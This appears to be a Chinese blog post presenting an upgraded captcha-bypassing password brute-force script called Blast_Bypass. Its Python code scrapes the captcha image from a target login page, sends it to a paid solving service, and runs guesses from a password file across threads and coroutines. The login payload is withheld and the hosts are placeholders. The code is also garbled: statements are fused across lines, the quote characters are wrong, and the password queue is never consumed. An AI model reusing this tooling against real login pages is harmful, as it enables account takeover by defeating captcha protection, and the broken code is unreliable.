前言
之前的Blast_Bypass存在明显缺陷,无法应对带验证码的页面爆破,且速度较慢。鉴于测试中遇到的各种环境问题,我们决定进行优化。
在本文中,介绍了一款可用性高且易于定制的爆破脚本(基于抓包爆破),后续将在Blast_Bypass中引入协程和验证码识别功能,以更好地满足各种需求。
测试
-
注册并登录打码平台
-
充值资金,尽享精彩体验
-
浏览详细文档(打码平台不设推荐服务)
选择类型
常见打码平台一般都有官方脚本,可以直接使用,稍作修改即可
利用正则快速定位二维码
通常情况下,二维码数据以二进制传输图片
因此,可直接将二进制数据转发至打码平台(下图仅为演示用途,不可直接使用)
运行结果如下
接下来,我们将着手构建爆破包(由于某些原因,此处的代码将不予展示,但请您自行测试)。最后,我们将对脚本进行优化以提高速度,采用线程和协程的方式。
以下是整个代码,需要注意的是每个接码平台的API使用可能不同,因此代码需要相应调整。具体调整的代码位于ceshi类的下方。
import base64
import json
import time
import argparse
from queue import Queue
import requests
import threading
import re
import urllib3
import geventclass CaptchaSolver:
def __init__(self, username, password):
self.username = username
self.password = passworddef solve_captcha(self, img_data, typeid):
base64_data = base64.b64encode(img_data)
b64_encoded_img = base64_data.decode()
data = {“username”: self.username, “password”: self.password, “typeid”: typeid, “image”: b64_encoded_img}
response = requests.post(“http://api.xxxx.com/predict”, json=data)
result = response.json()
if result[‘success’]:
return result[“data”][“result”]
else:
return result[“message”]def fetch_captcha_result(self):
http = urllib3.PoolManager()
response = http.request(‘GET’, ‘http://XX.XX.XX.XX:8020/’)
html_content = response.data.decode(‘utf-8’)
img_url = re.findall(r’src=”(.*?)” width=”120″‘, html_content)[0]
response = http.request(‘GET’, img_url)
captcha_img_data = response.data
return self.solve_captcha(img_data=captcha_img_data, typeid=3)def run_single_test(self):
captcha_result = self.fetch_captcha_result()
data = ‘xxxx’ # Placeholder for actual data
http = urllib3.PoolManager()
response = http.request(“POST”, ‘http://xxx/’, body=data)
# Process the response as neededclass BlastBypassThread(threading.Thread):
def __init__(self, queue):
threading.Thread.__init__(self)
self.queue = queuedef run_single(self):
while not self.queue.empty():
captcha_solver = CaptchaSolver(username=”your_username”, password=”your_password”)
captcha_solver.run_single_test()def run(self):
g1 = gevent.spawn(self.run_single)
gevent.sleep(1)
g1.join()def start_blasting(pass_file, thread_count):
queue = Queue()
with open(pass_file, ‘r’) as f:
for line in f:
queue.put(line.rstrip(‘\n’))threads = []
for _ in range(thread_count):
threads.append(BlastBypassThread(queue))for thread in threads:
thread.start()for thread in threads:
thread.join()if __name__ == “__main__”:
try:
parser = argparse.ArgumentParser()
parser.add_argument(‘–f’, dest=’file’, type=str, help=’Password file…’)
parser.add_argument(‘–t’, dest=’ti’, type=int, help=’Thread count…’)
args = parser.parse_args()
start_blasting(args.file, args.ti)
except Exception as e:
print(f”Error: {e}”)灵活应用的测试环境爆破脚本就快速开发了,可实时适配数据需求
后续
后续计划将这些功能整合到Blast_Bypass中。在之前的测试中,我们发现Blast_Bypass的参数过于复杂,因此我们计划添加自动识别功能。虽然某些任务可能需要花费一些时间,但我们相信不会太长。期待着Blast_Bypass成为自动化工具的一部分,为我们提供更便捷的解决方案。
暂无评论内容